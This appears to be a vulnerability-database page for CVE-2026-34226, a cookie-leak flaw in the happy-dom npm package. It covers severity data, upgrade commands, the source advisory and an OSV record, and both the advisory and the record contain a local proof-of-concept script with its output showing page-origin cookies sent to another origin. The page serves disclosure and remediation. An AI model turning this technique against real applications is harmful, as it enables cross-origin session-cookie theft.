CVE-2026-34226: Happy dom Happy DOM's Fetch Credentials Include Vulnerability

HIGH
Advisory Identifier: GHSA-w4gp-fjgq-3q4g
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CVSS 7.5
CWE-201
Published
Advisory Summary

CVE-2026-34226 is a HIGH (CVSS 7.5) happy dom's fetch credentials include vulnerability (CWE-201: Insertion of Sensitive Information Into Sent Data) affecting Happy dom libraries in the npm ecosystem. The issue involves happy dom's fetch credentials include uses page-origin cookies instead of target-origin cookies. Remediation is available by upgrading affected packages to version 20.8.9.

CVE-2026-34226 at a Glance

CVE Identifier CVE-2026-34226
GHSA Identifier GHSA-w4gp-fjgq-3q4g
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-201: Insertion of Sensitive Information Into Sent Data
Affected Product Happy dom
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-34226

To remediate this vulnerability, upgrade all affected Happy dom dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

happy-dom fixed: 20.8.9 
npm install happy-dom@20.8.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls happy-dom

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-34226, inspect your project dependencies using npm:

npm ls happy-dom

Analyze the terminal output to locate any version of Happy dom in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 20.8.9), your application is affected.

Note: The npm ls happy-dom command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-201: Insertion of Sensitive Information Into Sent Data, where the code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor. In Happy dom, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: "include" })` is used. This can leak cookies from origin A to destination B. ### Details In [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`: ```ts const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false ); ``` Here, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`). ### PoC Script Content ```javascript const http = require('http'); const dns = require('dns').promises; const { Browser } = require('happy-dom'); async function listen(server, host) { return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port))); } async function run() { let observedCookieHeader = null; const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io'; const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io'; console.log('=== PoC: Wrong Cookie Source URL in credentials:include ==='); console.log('Setup:'); console.log(` Page Origin Host : ${pageHost}`); console.log(` Request Target Host: ${apiHost}`); console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)'); console.log(''); await dns.lookup(pageHost); await dns.lookup(apiHost); const pageServer = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'text/plain' }); res.end('page host'); }); const apiServer = http.createServer((req, res) => { observedCookieHeader = req.headers.cookie || ''; const origin = req.headers.origin || ''; res.writeHead(200, { 'content-type': 'application/json', 'access-control-allow-origin': origin, 'access-control-allow-credentials': 'true' }); res.end(JSON.stringify({ ok: true })); }); const pagePort = await listen(pageServer, '127.0.0.1'); const apiPort = await listen(apiServer, '127.0.0.1'); const browser = new Browser(); try { const context = browser.defaultContext; // Page host: pageHost (local DNS) const page = context.newPage(); page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`; page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY'; // Target host: apiHost (local DNS) const apiSeedPage = context.newPage(); apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`; apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY'; // Trigger cross-host request with credentials. const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, { credentials: 'include' }); await res.text(); const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY'); const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY'); console.log('Expected:'); console.log(' Request to target host should include "api_cookie=API_ONLY".'); console.log(' Request should NOT include "page_cookie=PAGE_ONLY".'); console.log(''); console.log('Actual:'); console.log(` request cookie header: "${observedCookieHeader || '(empty)'}"`); console.log(` includes page_cookie: ${leakedPageCookie}`); console.log(` includes api_cookie : ${expectedApiCookie}`); console.log(''); if (leakedPageCookie && !expectedApiCookie) { console.log('Result: VULNERABLE behavior reproduced.'); process.exitCode = 0; } else { console.log('Result: Vulnerable behavior NOT reproduced in this run/version.'); process.exitCode = 1; } } finally { await browser.close(); pageServer.close(); apiServer.close(); } } run().catch((error) => { console.error(error); process.exit(1); }); ``` Environment: 1. Node.js >= 22 2. `happy-dom` 20.6.1 3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io` Reproduction steps: 1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io` 2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io` 3. From page host, call fetch to target host with `credentials: "include"` 4. Observe `Cookie` header received by the target host Expected: 1. Include `api_cookie=API_ONLY` 2. Do not include `page_cookie=PAGE_ONLY` Actual (observed): 1. Includes `page_cookie=PAGE_ONLY` 2. Does not include `api_cookie=API_ONLY` Observed output: ```text === PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS) Expected: Request to target host should include "api_cookie=API_ONLY". Request should NOT include "page_cookie=PAGE_ONLY". Actual: request cookie header: "page_cookie=PAGE_ONLY" includes page_cookie: true includes api_cookie : false Result: VULNERABLE behavior reproduced. ``` ### Impact Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

CVE-2026-34226 Affected Happy dom Versions

1 component(s)
Fixed Versions:
20.8.9
Product / Package Ecosystem Affected Versions Fixed Version
happy-dom
npm/happy-dom
npm
< 20.8.9
20.8.9

References

GitHub Advisory / Wiki ADVISORY
https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g
NVD — CVE-2026-34226 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-34226
Happy dom Source Repository REPOSITORY
https://github.com/capricorn86/happy-dom/pull/2117
Security Fix Commit FIX COMMIT
https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751
Happy dom Source Repository REPOSITORY
https://github.com/capricorn86/happy-dom
Happy dom Source Repository REPOSITORY
https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts
Happy dom Release RELEASE
https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9

Frequently Asked Questions

What is CVE-2026-34226?
CVE-2026-34226 is a security vulnerability in Happy dom involving Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies under CWE-201: Insertion of Sensitive Information Into Sent Data.
Which Happy dom versions are affected?
Affected versions include releases prior to 20.8.9 across affected packages: happy-dom.
What version fixes CVE-2026-34226?
Upgrading to 20.8.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is happy-dom affected?
Yes, happy-dom is affected in releases prior to 20.8.9. Upgrade your dependency to 20.8.9 or later.
What is the CVSS score of CVE-2026-34226?
CVE-2026-34226 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-34226?
CVE-2026-34226 is classified under CWE-201: Insertion of Sensitive Information Into Sent Data (The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.).
How can I check npm dependencies for CVE-2026-34226?
Run the dependency tree command: 'npm ls happy-dom'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w4gp-fjgq-3q4g",
  "modified" : "2026-03-29T15:23:57Z",
  "published" : "2026-03-29T15:23:57Z",
  "aliases" : [ "CVE-2026-34226" ],
  "summary" : "Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies",
  "details" : "### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n  console.log('Setup:');\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');\n  console.log('');\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) => {\n    res.writeHead(200, { 'content-type': 'text/plain' });\n    res.end('page host');\n  });\n\n  const apiServer = http.createServer((req, res) => {\n    observedCookieHeader = req.headers.cookie || '';\n    const origin = req.headers.origin || '';\n    res.writeHead(200, {\n      'content-type': 'application/json',\n      'access-control-allow-origin': origin,\n      'access-control-allow-credentials': 'true'\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, '127.0.0.1');\n  const apiPort = await listen(apiServer, '127.0.0.1');\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: 'include'\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n    console.log('Expected:');\n    console.log('  Request to target host should include \"api_cookie=API_ONLY\".');\n    console.log('  Request should NOT include \"page_cookie=PAGE_ONLY\".');\n    console.log('');\n\n    console.log('Actual:');\n    console.log(`  request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log('');\n\n    if (leakedPageCookie && !expectedApiCookie) {\n      console.log('Result: VULNERABLE behavior reproduced.');\n      process.exitCode = 0;\n    } else {\n      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js >= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "happy-dom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "20.8.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34226"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/pull/2117"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/capricorn86/happy-dom"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-201" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-29T15:23:57Z",
    "nvd_published_at" : "2026-03-27T22:16:23Z"
  }
}